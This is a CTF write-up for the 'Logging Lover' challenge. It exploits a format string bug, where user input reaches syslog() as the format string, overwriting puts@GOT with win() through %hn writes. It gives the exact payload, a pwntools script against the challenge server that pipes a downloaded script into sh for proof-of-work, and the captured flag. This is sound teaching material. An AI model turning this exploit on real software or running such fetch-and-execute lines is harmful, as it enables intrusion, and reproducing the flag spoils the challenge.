Logging Lover
Logging Lover — CTF Writeup
Summary
The binary contains a classic format string vulnerability in its logging path. User input is passed directly to syslog() as the format string, which allows arbitrary format specifiers and %n writes.
By overwriting puts@GOT with the address of win(), the next puts() call redirects execution into the flag-reading routine. The fake logging_lover/flag.txt in the archive is a decoy; the real flag is obtained remotely from ./deploy/flag.txt.
Vulnerability / Root Cause
main()reads up to 511 bytes withfgets().- The input is passed to
log_message(). log_message()callssyslog(3, user_input)instead ofsyslog(3, "%s", user_input).
This makes the payload a format string, so we can:
- leak data,
- write memory using
%n/%hn, - redirect control flow.
Relevant Binary Behavior
The binary is:
amd64No PIENX enabledNo canaryPartial RELRO
Important detail: main() passes extra arguments to log_message():
puts@GOTputs@GOT + 2puts@GOT + 4win
So the attacker-controlled format string can directly write the 64-bit win() address into puts@GOT using %hn writes.
Exploitation Methodology
- Solve the remote proof-of-work.
- Send a format string payload that writes
0x401285intoputs@GOT. - Let the program continue normally.
- The next
puts()call jumps towin(). win()tries/flag, then./flag.txt, then./deploy/flag.txt.- On the remote service, the first two paths fail and the final path succeeds, printing the real flag.
Payload
Used payload:
%3$hn%1$64c%2$hn%1$4677c%1$hn
This writes:
- low 16 bits of
win - middle 16 bits of
win - high 16 bits of
win
into puts@GOT via the supplied arguments.
Verification Evidence
Reproduced remote output:
=== admin debug channel ===
FYPCTF26{fmt_strings_are_logging_superpowers}
The decoy file in the archive contains:
FYPCTF26{fake_flag}
This is not the real answer; it only confirms the archive includes a fake/local file for misdirection.
Minimal Repro Steps
python3 - <<'PY'
from pwn import *
import re, subprocess
context.log_level='error'
p = remote('challenge.hacktheflag.one', 30009)
banner = p.recvuntil(b'solution: ')
m = re.search(rb'sh -s (\S+)', banner)
token = m.group(1).decode()
sol = subprocess.check_output(
f"curl -sSfL https://pwn.red/pow | sh -s {token}",
shell=True,
text=True
).strip().splitlines()[-1]
p.sendline(sol.encode())
p.recvuntil(b'log #1> ')
p.sendline(b'%3$hn%1$64c%2$hn%1$4677c%1$hn')
print(p.recvall(timeout=8).decode('latin-1', errors='replace'))
PY
Assumptions / Caveats
- Remote service requires PoW before interaction.
- The exploit assumes the shipped binary matches the remote service.
- The flag is revealed only after control flow is redirected into
win().